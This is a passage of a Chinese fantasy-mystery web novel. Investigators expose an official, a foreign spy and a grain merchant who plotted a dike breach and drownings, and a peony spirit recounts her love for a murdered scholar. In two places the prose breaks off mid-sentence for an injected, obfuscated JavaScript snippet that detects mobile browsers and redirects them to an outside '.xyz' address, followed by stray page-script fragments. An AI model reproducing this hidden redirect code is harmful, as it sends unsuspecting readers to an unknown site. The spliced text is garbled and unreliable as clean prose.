“冯大人,是不是没想到我还能活着出现在你面前?哦不,不如说,是你根本就不想让我活着出现在大家面前。为什么呢?是怕我说出什么秘密吗?” 众人一听,这话里有话啊!于是将头齐齐转向冯鹤延。 “你就算没死,也是越狱重犯,休得胡言!来人,把他给我带回去!”冯鹤延叫官兵上前将李霁源拿下。 霍彦先却在此时拦住他:“冯大人,今日我们所见奇异之事不少,且不管他是人是鬼,既然有话要说,不如让他说出来听听。” “……”冯鹤延看看面前这个不好惹的霍行远,又看看一旁的煜王,额头青筋突突的,这两尊佛哪个也惹不起啊!< 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李霁源将衣衫领口扯开一点,一道深深的刀疤赫然从锁骨划到脖颈,差点就划到颈动脉处,痕迹十分新鲜,是不久前才有的。 “这就是我说出真话付出的代价!” 众人哗然,纷纷问:“到底怎么回事啊?!” 李霁源道:“这还要感谢江伥老爷。” 他开始讲述。 原来,在月余前,他正要出门采买粮食,几个同行粮铺的掌柜找到他,问他愿不愿意一起合作。 这些粮商平日里跟李霁源竞争很激烈,但奈何李霁源做生意的原则,就是宁愿自己少赚点,也要让百姓吃到实惠优质的粮食,因此在坊间口碑很好。 可他生意好了,别家生意自然就差了,因此这几个掌柜平日里没少见面就给他脸色,阴阳怪气挤兑他。 本着和气生财,李霁源一向是装作听不懂,糊弄过去。 但这次几个人明显是有备而来。说有一批粮食,可以低价买进,问他要不要一起买。 李霁源是生意人,能够节省成本是好事,但也不能不警惕着点,于是便仔细询问这批粮食的来历,为什么可以低价买进? 起先几个人不愿意说,只问他愿不愿参与,但后来因太想做成这笔生意,但吞不下这么多货,想着他李霁源根基稳、实力强,几人便想拉他一起,终于透露了实情。 他们说,再过不久富州可能会有水患,现在可以提前囤粮,到时候可以高价卖出,大赚一笔。 李霁源大吃一惊,心中自然满是疑问。 一是如何能肯定不久之后会有水患?二是低价的粮食是从哪个渠道来的。 然后他就得知了一个惊天大秘密。 原来都督府中有人收受贿赂,要暗中损毁堤坝,借端午附近连日降“龙舟水”,制造一场水患。 而本地都督府常年从百姓上缴的赋税中克扣粮食,想要借此机会“消化一下”,如果本地粮商可以合作,那粮商也可以借这次水患,发一笔财。 向江边集聚的百姓越来越多,听到这里都忍不住咒骂: “什么东西!竟然发国难财!到底是谁要损毁堤坝?!” 21. 惊不惊喜,意不意外? “我说怎么年年上缴的粮食都在增加,原来是要自己私吞哪,老百姓勒紧裤腰带就是为了供养这些贪官是吧!” 冯鹤延听到这里已经摇摇欲坠,霍彦先扶住他,温和笑道:“冯大人是太累了吗,来人,还不快给冯大人找个座位休息一下。” 很快,下属便找来椅子扶他坐下。 冯鹤延甫一坐下,发现左边站的是三皇子,正对他怒目而视,右边是谭胥生,瘫在那里一副半死不活的样子。 冯鹤延绝望地闭起了眼睛。 李霁源继续讲述,他自然是拒绝了那几个粮商的威逼利诱。当晚,他便被拖入暗巷毒打一顿,然后被扔进了江中,幸好遇到了江伥。 “要不是江伥老爷捂住我的伤口,帮我止了血,抛回岸上,我可能当晚就殒命江中!” 说着,他冲江伥深深作了一揖,叩谢他的救命之恩。 江伥摆摆手,抿嘴道:“小意思!小意思!” “我问江伥老爷如何报答他。他却说,救我是看在我以往在百姓之中口碑很不错,有功德在身,让我回去继续多做好事,就算是报答他了。 江伥老爷甚至都不挟恩图报,如何会杀人索命?不可能!绝对不可能!”李霁源激动地说。 人群中有人赞同地点点头,觉得有道理。 李霁源继续说,第二日,他处理好伤口,照常打开粮铺做生意,估计那些人也很震惊,一时间不敢明面上捣鬼,所以消停了几天。 但没过多久,煜王殿下巡查到富州城,一来就突然说要加固堤坝,他还一度放下心来,觉得这次官商勾结不会得逞,但没想到,水患还是发生了。 他谨记江伥老爷的教诲,将自己的存粮无偿放出赈济百姓。却被人举报说是粮食贪墨。 李霁源觉得,大概是煜王殿下来了之后,都督府中的贪墨官员和粮商害怕自己的罪行暴露,所以干脆嫁祸给自己,这样所有人的罪责都可以一笔勾销。 他本本分分做生意,不坑人不害人,还经常做善事,却落得个锒铛入狱,替人顶罪的下场,这是什么世道!他感到十分愤怒和不甘! 只是他向来没有巴结官员的习惯,入狱之后也没有人脉可以疏通,毕竟他已经将那些粮商得罪完了,如果那些粮商和贪墨官员沆瀣一气,他就算是散尽家财,但人家摆明了要他顶罪,那无论如何也没得救。 就在他绝望之际,狱中有人暗中给他传递消息,称是绣衣察事司替圣人查贪墨案,希望他能给些线索。 李霁源不知道绣衣察事司是什么,但这些人非常厉害,伪装成各种狱中犯人、送饭菜的小厮,神不知鬼不觉地给他传递消息。 当时李霁源被连夜审讯,扣上贪墨的罪名,已经十分绝望,心想若横竖都是死,不如在死之前将这群富州城的蠹虫一并起底,也好为民除害,于是便同意将自己所知全部告知绣衣察事司。 “结果正如绣衣察事司所料,没过多久,便有人在狱中欲置我于死地。多亏霍大人救了我的命,让我看清到底是谁想害我!” 说着,李霁源又向霍彦先作了一揖。 冯鹤延听到这里,猛地睁眼看向霍彦先。 霍彦先也正平静地回望着他,挑了挑眉,一副“是不是很惊喜”的表情。 冯鹤延抖如筛糠,几乎快要昏厥过去。 竟是绣衣察事司!李霁源没听过,冯鹤延如何能不知道这“沉命司”的厉害! 怪不得这个霍大人,不过是煜王身边的一个跟班,却整天绷着脸跟个活阎王似的,煜王对他还挺客气。原来竟是绣衣察事司的霍彦先! 他化名霍行远,自己也根本没往绣衣察事司去想。 李霁源继续道:“一天夜里,我正在睡觉,忽然面前来了一个和我打扮得一模一样的人,差点把我吓死。他不由分说和我换了牢房,我当时心想,这应该就是绣衣察事司的安排。 结果过了一日,我听到晚上狱中有动静,抬头一看,对面牢房中的‘我自己’竟然半夜被人勒死,然后伪装成自缢的模样!” 李霁源恨恨地说:“如果不是绣衣察事司的暗侯将我提前换过来,那晚死的就是我自己!” 众人听得紧张,不由得倒吸一口凉气。 冯鹤延此时面如死灰,呼吸沉重又急促,极力想要掩饰害怕的情绪,但根本掩饰不住。 早就听闻在这个霍彦先手底下犯了事的朝廷重臣,没一个能活下来,就算活下来也是生不如死。 冯鹤延甚至觉得被三皇子查处可能不过就是杀头而已,但被霍彦先抓到,那不千刀万剐都算是幸运的了。 想到这里,他又绝望地闭起了眼睛。 “剩下的我可以替李掌柜来说。”霍彦先此时踱步到李霁源身边,杨奉安将代表圣人威仪的睚眦金杖递给他。 霍彦先接过金杖,高高举起,睚眦金漆反射着日光,熠熠生辉。 “哐”地一声,金杖重重落地,厚重铿锵的金属音令众人不由自主噤声。 霍彦先扬声道:“在下绣衣察事司副察事霍彦先。奉圣人之命,率领绣衣察事司司众,协同三皇子煜王殿下,前来荔南府富州城调查贪墨案,承诺诸位,一定将贪墨百姓粮食的蠹虫绳之以法,还大家一个公道!” 接下去,他便对着冯鹤延讲:“冯大人,我们的暗侯乔装成李掌柜,换进他所在的牢房,半夜被人勒住后颈,假装成自缢,若不是精通假死一道,提前做了部署,说不定此时已经归西。到底是谁将他伪装成自缢的,你知道吗?” 冯鹤延已经神情涣散,闻言点点头,忽地反应过来,猛猛摇头。 霍彦先冷笑道:“不知道,那我就替你回忆一下。” 他抬起手指示意,便有绣衣察事司的人将一个都督府的官员和两个狱卒带到众人面前。 这个官员叫做戴寄,在都督府当差年头不小,是冯鹤延身边的红人,不少百姓都认识他。 两个狱卒一副瑟瑟发.抖的样子,冯鹤延对着他们眼刀乱射,狱卒一副“我们也没辙,那可是绣衣察事司,绣衣察事司你知道吧”的样子,差点把他气死。 杨奉安对着戴寄大喝一声:“说!” “我受命于夜间将李霁源在狱中勒死,然后伪装成自缢。 当时我跟两个狱卒徐五和王素详确认了李霁源的牢房,他们给狱中其他牢房的犯人饭菜里都下了药,确保我杀人的时候没人能够看见。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931448|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我是确信李霁源没气了才走的,谁想到压根不是他……” 戴寄冲着冯鹤延解释,对于绣衣察事司半路横插一脚,也非常.委屈。 杨奉安厉声问两个狱卒徐五和王素详:“他说的属不属实?!” 两狱卒瑟缩着点头承认:“是的,伪装自缢的时候,我们也进去帮了忙……” 霍彦先走到三人面前,睚眦金杖横空一举,将三人低着的头一并抬起,冷声问三人:“是谁指使你们这么做的?” 三人这几日着实被绣衣察事司的手段给震撼到了,见到霍彦先就条件反射地发.抖,不由自主地齐声说:“冯大人!” 冯鹤延紧绷的最后一根弦终于断了,从椅子上屁滚尿流地跪到地上:“煜王殿下、霍大人,我是被迫的,我是被迫的!我要是不顺着他的意,我的家人就全都得死,我也没办法啊!” 晁元肇一脸阴霾,看向冯鹤延:“哦?那你是被谁胁迫的?” 冯鹤延指着谭胥生,撕心裂肺地喊:“是他!是他胁迫我捣毁堤坝,制造水患,我本不想的,我本不想的!但他将我的家人全部喂了毒,只有按他说的去做,他才给我解药,我全家才有活路!我本不想的啊……” 百姓们群情激愤,本来是冲过去要揍冯鹤延的,听完这话,又有一部分转而欲揍谭胥生: “混账!他到底是什么人?为什么要捣毁堤坝?” “这还是人吗!猪狗不如的东西!” 绣衣察事司的人此时将暴怒的百姓纷纷拦下,示意还要问话。 霍彦先走到谭胥生面前,发现他因为中蛊失血又受到惊吓,晕了过去,想将他弄醒,却不料他昏得十分扎实,居然没醒。 阿婵走过去,对霍彦先说:“大人,让我来。” 随即用山蜘蛛丝将他手脚一缠,直接扔进水里,吊上吊下:“过过水,别睡啦!” 谭胥生被水一涮,眼耳口鼻都浸满了水,不能呼吸,终于被迫清醒,想要扑腾却发现手脚都不能动,惊慌失措地大叫:“救命啊!救命啊!” 阿婵道:“说实话,留你一条狗命,不说的话……” 话音未落,江伥已经踏浪过去,薅着谭胥生的头发,恶狠狠地说:“老子生平最恨祸害百姓的人,不说实话,今天老子就破例开一次杀戒,让你原地变水鬼!” 江伥此时幻化出自己溺亡后的原貌,谭胥生眼前出现了一张极其可怖的骷髅脸。 江伥的本来面目太过吓人,谭胥生“激灵”一下终于清醒了,听着岸上冯鹤延歇斯底里地指控他害了自己,知道自己的身份已暴露。 于是谭胥生哭丧着脸道:“我也是……我也是被迫的呀!我也被下毒了呀,你可以看看我的手臂,已经毒侵见骨,要不是被胁迫,谁能干这种缺德事啊!” 霍彦先问道:“谁胁迫你?” 谭胥生还在讨价还价:“我说了你们能保证我的安全吗?我还可以提供很多你们想知道的秘密……” 霍彦先还没来得及说话,江伥就按着他的头将他暴扣进水中,如此反复几次:“老子最恨你这种厚颜无.耻之徒!在人间你这种腌臜之人要按律处置,在水里老子就是王法!” 22. 案中案中案 霍彦先轻咳一声,江伥才收敛,将谭胥生的头抬离水面。 谭胥生经此一遭,知道自己已是俎上之鱼,终于不再作死,全盘托出。 原来,他本是一个普通丝绸行商,想穿过朔勒,去西域申都做点小买卖,途中遇到了危险,朔勒的人救了他,却给他下毒,让他伪装成丝绸商人,回到荔南府想办法捣毁堤坝。 他兜转了一圈,发现还是在富州城搞事,效率最高,于是便找到富州都督府主管水利工程的林慎之。 谭胥生想着这个人虽然负责水利的核心工程,但俸禄却不高,他去林家做客时,发现其家中十分清贫,在官场上也不太受欢迎,应该比较好说通。 他自认奉上的金银财宝已经足够丰厚,但没想到被林慎之一口回绝。 “那个林慎之,脑子一点都不知道变通,大把的金银在他面前他看都不看一眼!还把我轰出去了……”谭胥生说道。 林慎之,正是最早溺亡的年轻夫妇中的那个男子。 晁元肇和霍彦先对视一眼,觉得多方线索终于汇聚到了一处,真相就快要揭晓。 谭胥生三番四次上门,结果都吃了闭门羹,他十分记恨这个人,便找到冯鹤延举报他。 结果没想到跟冯鹤延一聊,发现冯对这个姓林的也十分头疼,大倒苦水,说这块石头又臭又硬,不好管理。而对于谭胥生带来的厚礼,他二话没说便收下了。 谭胥生很意外,本以为冯鹤延位高权重更难接触,结果现在看来倒是个比较容易的突破口。 于是后来,借三皇子加固堤坝的机会,谭胥生以捐资援建之名,想让冯鹤延给自己在本地做丝绸生意行个方便。 冯鹤延很高兴地接受了,就这样,谭胥生捐了几次资,觉得差不多了,拿出更丰厚的贿赂,提出要冯鹤延将那个林慎之撤掉,并暗中帮朔勒损毁堤坝,在荔南制造混乱,不然就去将他收受贿赂的事张扬天下。 冯鹤延大惊拒绝,但谭胥生却不管那么多,说既然你不答应,就快回去看看你的家人吧。 谭胥生眼中的阴毒,让冯鹤延大感不妙。回去一看,家人果然出现了不同程度的呕吐、有气无力、抽搐、吐血、胡言乱语等症状。 他怒气冲冲找到谭胥生,谭胥生却笑着问他:“怎么样,这份‘厚礼’你还满意吗?若不是你轻易就收下,他们也不会变成现在这个样子。” 原来在谭胥生给他的厚礼中,凡吃穿用度都下了慢性毒药,只要冯鹤延给家人用这些,就会中毒。 冯鹤延人性不多,但唯独对家人还不错,此时后悔也来不及了。 谭胥生威胁他: “你跟我合作,我们双赢,我可以帮你将罪责都推到林慎之身上,既能替你除掉这个烫手山芋,你也捞到了钱,朔勒也能得偿所愿。 但若不合作,你和你的家人都得死。” 冯鹤延连一瞬都没有犹豫,便答应了。 但随后苦恼地解释,林慎之主持修建的堤坝本身没有什么问题,坚固得很;三皇子重新加固的堤段他也根本不敢偷工减料,实在是没有什么可以摧毁堤坝的机会。 谭胥生将一缕系着红绳的绒毛发辫放在冯鹤延手中,笑着对他说:“那是你的问题,你得想办法解决。” 冯鹤延认得那红绳发辫,那是他的三姨娘刚给他生的儿子! 谭胥生在他敢怒不敢言的眼神中告辞离开,耐心等到他的家人再次毒发的那一天。 冯鹤延果然匆匆来找他,说自己想到办法如何摧毁堤坝了,先给他解药。 “解药哪有这么容易给你,先说说看,有什么办法?”谭胥生见冯鹤延一副彻夜未眠的样子,感到十分不靠谱。 冯鹤延说了个方法,大意是他私吞了不少粮食,现在怕三皇子查到他,需要赶紧将粮食转移到本地粮商手中,而正好有一个本地势力最大的粮商陈富仲,愿意和他合作,并且有办法捣毁堤坝,但具体方法是保密的,只告诉他,这个方法万无一失。 谭胥生觉得很荒谬,这不是等于空手套白狼?当他是傻子吗? 但冯鹤延说,他和陈富仲都是一条船上的人,没必要骗他。主要因为,陈富仲现在也急需捣毁堤坝,因为,他需要人命。 谭胥生心想,这倒是个狠角色,一开口就是要人命,装都不装了。 但为了保险起见,谭胥生还是需要一个证明。 冯鹤延干脆直接将他引见给陈富仲。 见面后,谭胥生见到陈富仲的情况,心中便有了底,因为,他确实需要人命。 原来,陈富仲的儿子被妖怪杀死了,他急需生魂献祭,留住儿子的魂魄,好用邪术将儿子复活,时间紧迫,而水患就是最好的献祭生魂的渠道。 尽管如此,谨慎的谭胥生还是问,有什么可以证明你能一举成功? 陈富仲便说,他可以证明,要谭胥生等着看。 接下来四天,每天真的有人溺亡,包括那个林慎之夫妇,无论官府还是民间下水打捞,连尸体都找不到。 冯鹤延告诉谭胥生,这便是陈富仲的手笔,且看他愿不愿意相信。 谭胥生见此状况,挠挠手臂,略作思索,反正现在他也不止下毒一个办法能制衡冯鹤延,不如暂且信他一回,看看陈富仲能搞出什么名堂,便将解药给了冯鹤延。 果然,没过几天,就有了水患。 但令谭胥生恼火的是,不知为何,明明他观察决堤当晚的裂隙应该能制造一场很大的水患,但效果却远远不达预期,朔勒方面很不满意。 谭胥生自己的解药没有拿到,他一边挠着又痛又痒的手臂,一边暗骂冯鹤延和陈富仲废物,威胁冯鹤延必须趁热打铁再制造一次更大的水患。 谭胥生哭道:“我也是为了活命,朔勒太狠了,不仅给我胳膊上下毒,还给我下蛊,你们也看到了,那个让我投江的蛊虫,肯定是他们早就在救下我之后,让我喝药时,就种入体内了。 他们肯定已经发现我暴露了,所以想杀掉我!如果你们保护我,我可以告诉你们更多关于朔勒有价值的消息,相信我!” 此时周围已经里三圈外三圈都是人,不少都是听到江边出事,特意赶来围观的百姓,听到这里,简直要恨死这个没骨头的细作! 真无.耻啊!就是因为他,整个富州城的百姓都深陷水深火热之中,简直不配为人! 而对于朔勒,大家就更恨得牙痒痒。 朔勒一直对大桓虎视眈眈,没想到扰乱边境也就算了,竟然还玩阴的! 这个谭胥生渗入富州作乱是被发现了,但没有被发现的地方,还藏着多少细作,谁也不知道,真是令人细思极恐! 还有,那个陈富仲是黑心粮商,大家都是知道的,只是没想到竟如此草菅人命,自己儿子死了,却要别人的生魂来抵命! 冯鹤延扯着嗓子呐喊:“大人,要不是他逼我,我真的不会做这种损害后代阴德的事啊!” 霍彦先见他这幅嘴脸就觉得恶心:“好一个转移重点,损毁堤坝是他逼你,贪墨百姓粮食也是他逼你的?” “……”冯鹤延没声了。 百姓们怒气上头,劈头盖脸地骂他: “你贪墨粮食在先,还要去跟陈富仲合作,那就是个奸商!为了挣钱不择手段,发霉的粮食也敢卖,我说吃死了人官府怎么不了了之,原来是狼狈为奸!” 晁元肇将刀横在冯鹤延面前,质问道:“说!为什么会贪墨粮食?粮食现下在哪儿?” 冯鹤延只好坦白,本地粮商为了生意便利,年年给他“上供”,一来二去,也就混熟了,其中以陈富仲每年给他上供最多,势力也最大,很多粮商都唯他马首是瞻。 几年前某次宴席,陈富仲给冯鹤延建议,让他不妨从每个百姓上缴的粮食赋税中微微克扣一点,积少成多,就是可观的财富,也很难被发现。他们粮商这边愿意低价买进,再在市场上流通出去。 他酒足饭饱昏了头,一听便心动了,觉得可以操作,自己能捞一点是一点,就答应了。 及至三皇子来到富州,他才开始害怕粮食贪墨的事情被发现,于是每天提心吊胆,愁眉不展。 前几日陈富仲来找冯鹤延,问他为何如此愁眉不展,他便说出心中顾虑。 陈富仲思索片刻:“那不如找个替死鬼。随便一个负责粮食赋税的小吏便可背锅,而接手的粮商,正好本地有个李霁源,从不‘孝敬’你,还常常压价卖粮,不如趁此机会除掉他,也好还本地粮商一个‘干净’的行业环境。” 两人蛇鼠一窝, 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家人这边还中毒未解,愁得他天天吃不下饭,急火攻心,长了好几个火疖子! 陈富仲却给他吃定心丸:“大人您不必着急,等我回去筹谋一下,立刻给您答复。” 不过半日之后,陈富仲匆匆来找冯鹤延,说损毁堤坝的事情有着落了,叫他去跟谭胥生复命,顺便拿解药。 再后来便如谭胥生所说,陈富仲为了跟他证明自己有能力损毁堤坝,连续制造了四起溺水案,头一起就是帮冯鹤延和谭胥生除掉了林慎之这个碍眼的家伙,获取了两人的信任。 贪墨案、四起溺亡案、水患由此而来。 众人听完,愤怒之后是更加排山倒海的愤怒。 普通人的性命在这三人眼中,竟轻贱如斯吗?!一.夜之间便可定夺他人生死! 江伥率先忍不了了,他生平最恨卖国贼和草菅人命之人!直接将谭胥生和冯鹤延一并拖进水里折磨了好一会儿,才意犹未尽地还给霍彦先,让他拿去审问。 当奄奄一息的两人从水中被拖回监狱时,路过的每个百姓只恨骂不解气,狠狠地往他们身上啐上一口,企图用凌厉眼刀将他们撕碎。 两个重犯交给煜王审讯,而霍彦先这边,还要马不停蹄地去抓黑心粮商陈富仲,他的儿子死因涉及妖怪,他便邀请阿婵帮忙。 他们找到陈富仲的家,大门紧闭,透着诡异和死气。 霍彦先破门而入的一瞬间,便感到有股无形的力量向他袭来。 阿婵将他一把拉开,扬手一张符箓破空而去,将敞开大门的堂屋正中供奉的三炷香削断,破了笼罩整座宅子的阵法,绣衣察事司得以长驱直入。 陈富仲被抓之时,正身处儿子的房间,外面白日晃晃,但屋内阴森可怖,一丝光也照不进来。 房间正中,他儿子陈怀思的尸体被摆放在一个巨大的祭坛上,四周摆着一些奇形怪状的法器和写满咒语的符箓。 陈富仲面色蜡黄,双眼深陷,眼中闪烁着一种近乎疯狂的执着。 “是你破了阵法?”他混沌的双眼看向阿婵。 “是,有我在,你儿子活不了,别妄想了。”阿婵随即将祭坛全部毁掉。 而霍彦先的审问手段,让他强撑的精神垮塌。 陈富仲承认,自己的儿子被妖怪杀死了,因此需要生魂献祭,包括林慎之夫妇的四起溺亡案都是因此而犯下,但哪怕制造了水患,也并没能凑够足够的生魂将儿子复活。 阿婵生怕还有妖怪作乱,问他:“到底是什么妖怪杀了你儿子?是江伥吗?” 陈富仲摇摇头,直接说,江伥是他们用来掩饰溺亡案的幌子,无论是四处传播的谣言还是假扮江伥的三人都是他找去的。 “那到底是什么妖怪?你可看见?”阿婵问。 陈富仲说,一个花妖,带着浓重的香味,是在林慎之家中遇到的。 阿婵和霍彦先对视一眼,两人皆惊讶,这个形容,不明显是—— 那日霍彦先遇见的牡丹花妖? 粗略审问完毕,陈富仲被霍彦先带回牢狱之时,与阿婵擦身而过,嘴角向上挑了一个微小的弧度,随即掩去。 23. 她哭花了脸 为了节省时间,阿婵跟霍彦先回到了都督府,直接摒弃闲杂人等,在一个僻静之处召唤了牡丹花妖。 迫于与阿婵之间缔结的契约,花妖很快现身。 只是阿婵大吃一惊,明明她让花妖这几天找个没人的地方自己好好反省,顺便恢复一下修为,结果今日的花妖简直和初见时云泥之别,神情涣散,形如枯槁。 “你怎么搞成这样?”因为目前牡丹花妖还有杀人嫌疑,阿婵先使了个诀,将花妖缚住,以防她逃跑。 花妖头发散乱,妆容半残,肿着两个核桃般大的双眼,不仅对阿婵爱答不理,就连之前让她犯花痴的霍彦先,她都一整个视若无睹。 就那样萎靡不振地瘫坐在地上,裙摆散乱一地。 “林郎死了,伍娘子也死了。”牡丹花妖喃喃道。 阿婵和霍彦先对视一眼,蓦地有种什么东西对上了的感觉。 阿婵试探着问:“你说的林郎,是林慎之?伍娘子,是伍幔青?” 花妖散乱的眼神终于聚了焦,看向阿婵,瘪瘪嘴,然后扑到她怀里,哇哇大哭。 阿婵猝不及防,抱着哭得乱七八糟的花妖,无奈看向霍彦先,示意先让花妖哭个够,等会儿再审。 霍彦先生平从未见女子哭成这样过,等到他都有点害怕花妖的眼泪把这后院给淹了,她才停止哭泣,平复下来。 阿婵倒是全程一副哄孩子的温柔模样,很有耐心地等着花妖调整好情绪,才道:“好了,现在你可以说了吧,到底发生了什么?” 花妖哑着嗓子,开始讲述她这几天的经历。 自从那天阿婵和她缔结契约之后,让她去僻静处调养重伤后的身体,不要再随意出来吸人精气,她知道打不过阿婵,便老老实实遵守契约,回到平常待的林宅养伤。 却发现林宅根本没有人,所有的东西都蒙上了一层灰。林氏夫妇都是爱干净的人,平常的林宅一尘不染,可这次,却让她嗅到了血腥味。 说到林宅,可以算做是花妖的“家”。 因为林宅的主人林慎之,可以说是花妖的“梦中人”,她是跟着他从洛邑来到富州的。 原来,牡丹花妖从小长在洛邑的一间残破得摇摇欲坠的宅子里,一直努力潜心修炼,但修炼未半差点中道崩殂,是林慎之救了她的命,让她有机会得以修炼成精。 本来这个宅子,唯一拿得出手的便是后院满园娇.艳的牡丹,是前前任宅子主人——一个百岁老叟花了六七十年时间精心养护而成的,花妖就是在这种满是爱意的呵护下慢慢有了灵识。 及至老叟病重去世,儿子们分家之后将这座宅子贱卖给了一个穷书生。 这个穷书生考不上功名,只能靠写传奇话本赚钱糊口,经常写一些市井百姓最爱看的郎君娘子、花前月下的风花雪月之事。 穷书生本来也嫌这个宅子太破,要不是实在没钱,也不会跟着老叟的儿子来看宅子。 可是没想到,这土得掉渣的宅子,一路走到后院,竟别有洞天,满园令人惊艳的牡丹,让他为之心折。 洛邑本以牡丹扬名天下,可穷书生在本地从小到大,也没见过如此美丽的牡丹,一见之下,便觉得为了这片风景,买下这个房子也值了。 他交了钱,忍不住问老叟的儿子:“后院的牡丹养得如此之好,你们都不要了,这也太可惜了。” 儿子却嗤笑一声:“洛邑遍地是牡丹,养得再好有什么用,又不能卖钱!” 穷书生看着儿子一脸只想急着要钱的样子,也不再多说什么。 他本来想得好好的,写传奇话本时如果绞尽脑汁还是想不出来,就对着这片牡丹,激发一下灵感。写完之后,还可以对着牡丹花朗读一番自己的大作。 开始的时候,他还是很爱惜这片牡丹,虽然不会养花,但也去找人学来很多牡丹养护的方法。 结果没过多久,他写的一本传奇话本就卖爆了,赚了许多钱。书商合作纷至沓来,他便从此开启了没日没夜赶书稿的日子。 穷书生这辈子没见过这么多钱,心想一定要把握住这个机会,于是疯狂写书,也没有心力再去管后院中的牡丹。 牡丹花妖那时候灵识刚出,就差点因为缺水而死。 就在她觉得自己真的快死了的时候,穷书生又赚了一.大笔钱,便搬去了另一座更大更好的宅子,这座穷酸的宅子,便过给了林慎之。 林慎之也是读书人,一心考取功名,但他家中有七个兄弟姐妹,整日鸡飞狗跳,实在太吵闹,没有地方能静心读书,于是他便想买下这座宅子。 虽然林慎之钱不多,但还好宅主十分高风亮节,说自己虽然屡次名落孙山,却希望他能好好读书,有个好前程,便将这宅子几乎是半卖半送给了他。 交房的时候,林慎之面对的就是一间破败如同废墟的宅子,这次连后院的牡丹也是枯萎了一.大片。 如今已是火爆话本作者的穷书生还叹了口气,说自己有愧,本来是很好的一片牡丹,生生被自己给糟蹋了,希望林慎之能够尽量浇浇水,能救就救。 林慎之答应了,也真的没有食言。每日读书之余,为了顺便锻炼一下.体魄,便挑水理草、翻土施肥,愣是将整园牡丹救活了一半,还另买了些牡丹花苗补种上。 寒来暑往,他日日对着牡丹花读书,四书五经,经史子集,倒背如流。偶尔有了烦恼愁绪,也对着牡丹花诉说。 几年寒窗苦读,有了这一窗牡丹陪伴,竟也不枯燥。 牡丹花妖之前听穷书生对着自己絮叨的都是风花雪月、才子佳人的故事,好歹有趣。 换成林慎之,整天满口三纲五常、四书五经、叨叨叨叨,简直烦得要死。 可每当她暴躁到想要幻化成人形捂住林慎之的嘴巴时,一看他那张白净俊俏、正气十足的脸,就气消了一半,劝自己,算了算了,为了这张脸,还是忍忍吧。 但不可否认,这一举动加速了牡丹花妖想要修炼成精的决心,她早晚要变成人,站在林慎之面前,告诉他:你每天背的东西实在是太无聊了! 林慎之却不知道这些娇.艳欲滴的牡丹花之中,还有一株藏着这样的心思。 他精力充足,每天读书之余还替人抄书赚钱,陆续攒到了钱,取出一点点将这宅子里里外外用心修缮了一番,虽也只是不濒临坍塌,不漏风漏雨,但用心经营,干净整洁,也让宅子处处透着温馨。 牡丹花妖时隔很多年,再次感受到了老叟生前对她们这些牡丹花的呵护。 眼见着家里变好了,自己也变美了,一.夜暴风骤雨,电闪雷鸣,牡丹花妖差点就被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931450|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摧折其中。 林慎之连夜冲出来拉起遮雨棚护着牡丹花,但还没遮到牡丹花妖,一道雷就劈了下来。 牡丹花妖就在这道雷下历劫成精。 她成精后便能幻化人形,自由行动,林慎之的俊脸也按捺不住她迫切想去宅子外面见见世面的心。 她是花妖,并无害人的心思,而且一直以来满脑子都是前任宅主对着她讲的各种花前月下、才子佳人的故事。 她想,故事里已经这样精彩,外面肯定还有更多俊俏郎君等着她去会一会。 于是,她抛弃了林慎之,在坊间到处闲散游荡,专门欣赏各种俊俏郎君,撩拨一下这个,再招惹一下那个。 光看还不够,晚上待林慎之睡了,她还用他的毛笔比把这些郎君画在叶子上,收集起来,没事就拿出来欣赏。 但是看久了,总觉得这些人差那么点意思。 “这个秀美有余,脂粉气太重,跟我站在一起,看着跟姐妹一样,不妥不妥。” “那个高大威猛,但是也太糙了点,感觉脾气十分暴躁,不成不成。” “都不如林郎。”花妖总结道。 离谱离谱,方圆百里,竟然是她家林郎的脸和身材最没得挑。 脸型周正俊美,又不失男子威仪,身材高挑瘦削,但劲力十足;最重要的是做事认真,脾气温和,对她的照料耐心又精心。 哎,简直不比不知道,一比还是林郎好。 没想到最好的,近在眼前。 花妖瘪瘪嘴,把画像都撕了,决定以后还是只欣赏林郎就好了。 就这么日看夜看,做梦都是他,越来越觉得他一举一动都好看,怎么看都看不够,连他背的四书五经,花妖都不觉得枯燥了。 十年寒窗,终有一战。林慎之收拾行囊,奔赴桓安赶考。花妖放心不下,一路追随。 路途遥远,林慎之翻山越岭,辛苦异常,但他也没有辜负这一路以来的艰辛,非常争气地中了乡试、会试、殿试中,取得了解元,会元,探花的名次 花妖本来对于考科举没什么概念,但是张榜的时候她看到长长一溜名字,周围里三圈外三圈的人,那么多人,她的林郎的名字竟然排在第三! 很多人恭喜他,还有很多人的眼神里充满了羡慕、嫉妒和眼红。她才知道,原来林郎这么厉害。 花妖真有一种与有荣焉的感觉,当天晚上因为太高兴喝大了。 林郎很晚才回到客栈,花妖没忍住跑到他身边,跟他告白,跟他讲她是怎么看着他日日苦读,怎么历劫成精,怎么一路跋山涉水,陪着他一起经历了他的不容易,她非常、非常、非常地倾慕他。 林慎之起初见到花妖显形十分震惊,以为她脑子有问题,不知道从哪里跑出来,又在胡言乱语些什么,后来发现她竟然真的连自己对着牡丹花碎碎念的东西都知道,不由得便信了。 他十分耐心,礼貌安静地听完,就在花妖觉得才子佳人花前月下的故事终于要开花结果的时候,林慎之竟然告诉她:自己何德何能,能够获得她的仰慕,但他已经有心上人了。 